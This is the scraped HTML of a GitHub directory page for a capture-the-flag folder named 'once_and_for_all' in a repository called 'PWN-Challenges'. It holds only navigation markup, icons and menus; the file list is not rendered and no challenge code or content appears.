7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vital-information-resource-under-siege </span> <span>/</span> PWN-Challenges
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":334582086,"originating_url":"https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/once_and_for_all","user_id":null}}" data-hydro-click-hmac="6f7cf94f74d1d74a566e63079515fb6c71851592d7642fa5373c7644be45befc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>once_and_for_all<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>once_and_for_all<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/tree-commit/007d602d070b42ca7d4803a6591f39e80e9926de/cyber-apocalypse2022/once_and_for_all" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/file-list/main/cyber-apocalypse2022/once_and_for_all"> Permalink
